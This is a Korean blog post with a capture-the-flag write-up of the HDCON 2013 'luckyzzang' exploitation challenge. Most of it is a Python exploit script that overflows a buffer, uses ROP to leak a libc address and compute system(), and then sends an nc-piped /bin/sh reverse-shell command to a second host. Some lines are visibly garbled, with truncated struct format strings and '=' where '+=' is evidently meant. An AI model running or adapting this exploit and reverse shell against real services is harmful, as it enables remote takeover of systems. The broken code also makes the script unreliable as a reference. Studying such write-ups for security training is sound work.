sweetchip's blog


대회 당시 처음으로 시스템 문제를 풀어보려고 마음먹었던 hdcon이었는데, 이제야 푸는데 성공했다.


몇시간 삽질하면서 도저히 안될때는 다른사람의 풀이를 한줄씩 보면서 힌트를 얻어갔다.

생각보다 간단했으며, ASLR은 fork의 특성상 있으나 없으나 상관이 없었고, 대회 당시 문제였던 NX는 ROP 방식으로 우회할 수 있었다.

현재는 hdcon 서버가 닫혀있으므로, 개인 ubuntu 13.04 데스크탑 이미지를 이용했고 libc.so 파일을 가져와서 비교하면서 오프셋을 구했다.

실제였다면 이방식으로 풀기는 좀 어려웠겟지만
[왜냐하면 libc.so 가 주어지지 않기때문. 실제 대회당시엔 본인이 직접 구해야 했다. 또는 라이브러리 주소를 구해서 send로 구해온다.]

그래도 libc 파일은 주어진다는 가정하에 풀게 되었다.


문제 바이너리

# /usr/bin/python
# http://pastebin.com/Ad2NzHRj
# HDCON 2013 PreQual Lv5 - exploitation, luckyzzang
# by sweetchip
# 2013.11.24 (stage version)
from socket import *
import struct
import time

p = lambda x : struct.pack("
up = lambda x : struct.unpack("
ip = "192.168.32.225"
port = 7777

s = socket(AF_INET, SOCK_STREAM)
s.connect((ip, port))
print s.recv(1024) # msg

func_main = 0x080486d4
rand = 0x0804a030
send = 0x08048610
recv = 0x080485f0
libc = 0xb75b5000
ppppr = 0x080489cc
freespace = 0x0804a054
system = 0

cmd = "nc 192.168.32.43 9090 | /bin/sh |nc 192.168.32.43 9091;"

##################################################
# Stage 1 - Get system addr
##################################################
payload = "A"*0x408 # buf
payload = "SWCP" # sfp
##################################################
payload = p(send) # send <-- RET HERE!
payload = p(ppppr)
payload = p(4)
payload = p(rand) # rand
payload = p(4)
payload = p(0)
##################################################
payload = p(func_main)
payload = "AAAA"
payload = p(4)
##################################################
s.send(payload) # send
temp = s.recv(4) # get rand ptr
##################################################

##################################################
# calc system addr
##################################################
temp = up(temp)[0]
# offset here!
temp -= 0x34470 # rand - base_to_rand
temp = 0x41280 # base base_to_system
system = temp
print "system addr : " hex(system)
##################################################

##################################################
# Stage 2 - exploit
##################################################
payload = ""
payload = "A" * 0x408
payload = "SWCP"
##################################################
payload = p(recv) # recv
payload = p(ppppr)
payload = p(4)
payload = p(freespace)
payload = p(len(cmd))
payload = p(0)
##################################################
payload = p(system) # system
payload = "SWCP"
payload = p(freespace) # cmd
##################################################

print s.recv(1024) # msg
s.send(payload) # sending payload
time.sleep(0.3)
s.send(cmd) # send command
print "Sending Payload . . ."

raw_input("GOT SHELL?")

쉘권한을 획득하면 아래와 같이 반[?]리버스쉘이 연결된다. [그냥 한번 써보고 싶어서 써봣음.. ㅎㅎ]

다른 포트로도 열어두고 그 곳으로 비밀번호를 보내도록 하자.



신고

댓글 0